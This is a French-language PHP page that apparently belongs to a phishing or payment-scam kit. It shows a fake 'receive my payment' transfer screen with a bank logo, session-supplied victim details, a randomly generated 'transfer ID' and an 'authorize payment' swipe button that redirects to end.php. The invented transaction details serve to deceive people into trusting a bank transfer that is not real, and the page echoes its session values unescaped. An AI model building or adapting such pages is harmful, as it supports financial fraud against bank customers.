<?php
session_start();

?>
<html>
<head>
    <meta name=viewport content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet"/>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&amp;display=swap" rel="stylesheet"/>
    <style>
        body {
            font-family: 'Inter', sans-serif;
        }
        .swipe-button {
            position: relative;
            width: 100%;
            height: 56px;
            background-color: #000;
            border-radius: 9999px;
            overflow: hidden;
            cursor: pointer;
        }
        .swipe-button .swipe-content {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            font-weight: 600;
            z-index: 1;
        }
        .swipe-button .swipe-handle {
            position: absolute;
            top: 0;
            left: 0;
            width: 56px;
            height: 56px;
            background-color: #fff48d;
            border-radius: 9999px;
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 2;
            transition: left 0.3s;
        }
        .background-image {
            background-image: url('../../assets/image/back.png');
            background-size: cover;
            background-position: center;
            filter: blur(5px);
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
        }
       
    </style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen">
    <div class="background-image"></div>
    <div class="w-full max-w-md bg-white rounded-lg shadow-md p-6">
        <div class="flex items-center justify-center mb-6">
            <h1 class="text-xl font-semibold">Recevoir mon paiement</h1>
        </div>
        <div class="mb-6">
            <label class="block text-gray-700 text-sm font-semibold mb-2">Montant</label>
            <div class="flex items-center justify-between bg-gray-200 p-4 rounded-lg">
                <span class="text-2xl font-bold">€ <?php echo $_SESSION["montant"]; ?></span>
            </div>
        </div>
        <div class="mb-6">
            <label class="block text-gray-700 text-sm font-semibold mb-2">Envoyer à</label>
            <div class="flex items-center bg-gray-200 p-4 rounded-lg">
                <div class="flex items-center justify-center w-10 h-10 bg-blue-500 text-white rounded-full">
                    <i class="fas fa-user text-lg"></i>
                </div>
                <div class="ml-4">
                    <p class="text-sm font-semibold"><?php echo $_SESSION["cardName"]; ?></p>
                    <p class="text-sm text-gray-600">+33 <?php echo $_SESSION["telo"]; ?></p>
                </div>
            </div>
        </div>
        <div class="mb-6">
    <label class="block text-gray-700 text-sm font-semibold mb-2">Détails</label>
    <div class="bg-gray-200 p-4 rounded-lg">
        <!-- Date et Heure côte à côte -->
        <div class="flex mb-2">
            <div class="w-1/2">
                <p class="text-sm font-semibold">Date :</p>
                <p class="text-sm text-gray-600" id="current-date"></p>
            </div>
            <div class="w-1/2">
                <p class="text-sm font-semibold">Heure :</p>
                <p class="text-sm text-gray-600" id="current-time"></p>
            </div>
        </div>

        <!-- ID du transfert et Mode de paiement côte à côte -->
        <div class="flex mb-2">
            <div class="w-1/2">
                <p class="text-sm font-semibold">ID du transfert :</p>
                <p class="text-sm text-gray-600" id="transfer-id"></p>
            </div>
            <div class="w-1/2">
                <p class="text-sm font-semibold">Mode de paiement :</p>
                <p class="text-sm text-gray-600">Virement unique</p>
            </div>
        </div>

        <!-- Banque et Logo côte à côte -->
        <div class="flex items-center">
            <div class="w-1/2">
                <p class="text-sm font-semibold">Banque :</p>
                <p class="text-sm text-gray-600"><?php echo $_SESSION["bankName"]; ?></p>
            </div>
            <div class="w-1/2">
                <img src="../../assets/image/square-logo-bp.png" alt="Logo de la banque" class="w-10 h-10">
            </div>
        </div>
    </div>
</div>
        <div class="flex flex-col space-y-4">
            <div class="swipe-button" onclick="swipeToAuthorize()">
                <div class="swipe-content">
                    <span class="font-semibold">AUTORISER LE PAIEMENT</span>
                </div>
                <div class="swipe-handle">
                    <i class="fas fa-arrow-right text-xl text-black"></i>
                </div>
            </div>
        </div>
    </div>
    <script>
        function swipeToAuthorize() {
            const handle = document.querySelector('.swipe-handle');
            handle.style.left = 'calc(100% - 56px)';
            setTimeout(() => {
                window.location.href = '../../end.php'; // Remplacez par l'URL de la page de destination
            }, 300);
        }

        function getCurrentDate() {
            const date = new Date();
            const options = { day: '2-digit', month: '2-digit', year: 'numeric' };
            return date.toLocaleDateString('fr-FR', options);
        }

        function getCurrentTime() {
            const date = new Date();
            const hours = String(date.getHours()).padStart(2, '0');
            const minutes = String(date.getMinutes()).padStart(2, '0');
            return `${hours}:${minutes}`;
        }

        function generateTransferId() {
            const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            let result = '';
            for (let i = 0; i < 10; i++) {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
            return result;
        }

        document.getElementById('current-date').textContent = getCurrentDate();
        document.getElementById('current-time').textContent = getCurrentTime();
        document.getElementById('transfer-id').textContent = generateTransferId();
    </script>
</body>
</html>